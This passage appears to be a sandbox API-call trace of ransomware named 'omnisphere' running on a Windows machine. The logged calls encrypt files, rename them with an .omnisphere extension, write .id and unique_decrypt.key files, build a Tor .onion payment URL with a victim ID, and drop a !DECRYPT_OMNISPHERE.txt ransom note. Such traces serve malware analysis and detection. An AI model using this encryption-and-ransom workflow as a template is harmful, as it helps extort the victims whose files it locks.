pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.641] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.642] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.642] CryptDestroyKey (hKey=0x1639b68) returned 1 [0116.642] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0116.642] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x493, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0116.642] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0116.644] GetProcessHeap () returned 0x1600000 [0116.644] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2aa) returned 0x1692780 [0116.644] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\templates.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\templates.lnk.omnisphere")) returned 1 [0116.646] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK.omnisphere.id" [0116.646] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\templates.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0116.647] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0116.648] CloseHandle (hObject=0x3c0) returned 1 [0116.649] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0116.649] CloseHandle (hObject=0x288) returned 1 [0116.649] SetEndOfFile (hFile=0x28c) returned 1 [0116.649] FlushFileBuffers (hFile=0x28c) returned 1 [0116.656] CloseHandle (hObject=0x28c) returned 1 [0116.656] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned 1 [0116.656] GetProcessHeap () returned 0x1600000 [0116.656] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1692a38 [0116.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0116.656] GetProcessHeap () returned 0x1600000 [0116.656] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f328 [0116.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f328, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0116.656] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0116.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0116.656] GetProcessHeap () returned 0x1600000 [0116.657] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687268 [0116.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687268, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0116.657] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0116.657] GetProcessHeap () returned 0x1600000 [0116.657] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x1631740 [0116.657] PathCombineW (in: pszDest=0x1631740, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt" [0116.657] GetProcessHeap () returned 0x1600000 [0116.657] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16908e8 [0116.657] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.657] WriteFile (in: hFile=0x28c, lpBuffer=0x16908e8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16908e8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0116.657] CloseHandle (hObject=0x28c) returned 1 [0116.658] GetProcessHeap () returned 0x1600000 [0116.658] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1692a38 | out: hHeap=0x1600000) returned 1 [0116.658] GetProcessHeap () returned 0x1600000 [0116.658] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162d2e8 [0116.658] PathCombineW (in: pszDest=0x162d2e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key" [0116.658] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.658] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0116.659] CloseHandle (hObject=0x28c) returned 1 [0116.659] GetProcessHeap () returned 0x1600000 [0116.659] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162d2e8 | out: hHeap=0x1600000) returned 1 [0116.659] GetProcessHeap () returned 0x1600000 [0116.659] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656e08 | out: hHeap=0x1600000) returned 1 [0116.659] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15a0aa18, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15a0aa18, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15a7d124, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0xd4, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 0 [0116.659] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0116.659] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15925c1b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x26a05b76, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26a05b76, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0116.659] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15925c1b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x26a05b76, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26a05b76, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2645c2c9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2645c2c9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26a05b76, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7631bb1a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x764e57d2, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x2645c2c9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x63e, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="con2.LNK.omnisphere", cAlternateFileName="CON2LN~1.OMN")) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2645c2c9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2645c2c9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2645c2c9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="con2.LNK.omnisphere.id", cAlternateFileName="CON2LN~1.ID")) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f06972b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x9db38c07, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x264a8622, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x96b, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Database1.LNK.omnisphere", cAlternateFileName="DATABA~1.OMN")) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x264a8622, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x264a8622, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x264a8622, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Database1.LNK.omnisphere.id", cAlternateFileName="DATABA~1.ID")) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a21569, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33a21569, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x264f4b88, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8cf, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Documents.LNK.omnisphere", cAlternateFileName="DOCUME~1.OMN")) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x264ce826, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x264ce826, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x264f4b88, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Documents.LNK.omnisphere.id", cAlternateFileName="DOCUME~1.ID")) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8b468d, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee8b468d, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0x268faba6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Global.LNK.omnisphere", cAlternateFileName="GLOBAL~1.OMN")) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x268faba6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x268faba6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x268faba6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Global.LNK.omnisphere.id", cAlternateFileName="GLOBAL~1.ID")) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x15a7d124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15a7d124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x26947033, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="index.dat.omnisphere", cAlternateFileName="INDEXD~1.OMN")) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26947033, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26947033, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26947033, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="index.dat.omnisphere.id", cAlternateFileName="INDEXD~1.ID")) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15a0aa18, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15a0aa18, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x26a05b76, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9b7, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Templates.LNK.omnisphere", cAlternateFileName="TEMPLA~1.OMN")) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a05b76, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26a05b76, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26a05b76, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Templates.LNK.omnisphere.id", cAlternateFileName="TEMPLA~1.ID")) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x264823a6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x264823a6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26a2bd3d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0116.660] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x264823a6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x264823a6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26a2bd3d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0116.660] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0116.660] GetProcessHeap () returned 0x1600000 [0116.661] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16331c8 | out: hHeap=0x1600000) returned 1 [0116.661] GetProcessHeap () returned 0x1600000 [0116.661] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16688a0 | out: hHeap=0x1600000) returned 1 [0116.661] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26435e89, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26435e89, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26435e89, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0116.661] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26435e89, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x26435e89, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26435e89, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0116.661] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0116.661] GetProcessHeap () returned 0x1600000 [0116.661] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f200 | out: hHeap=0x1600000) returned 1 [0116.661] GetProcessHeap () returned 0x1600000 [0116.661] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1606e38 | out: hHeap=0x1600000) returned 1 [0116.661] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b1656b, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa8b1656b, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd629eb7, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0116.661] GetProcessHeap () returned 0x1600000 [0116.661] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x72) returned 0x163f980 [0116.661] PathCombineW (in: pszDest=0x163f980, 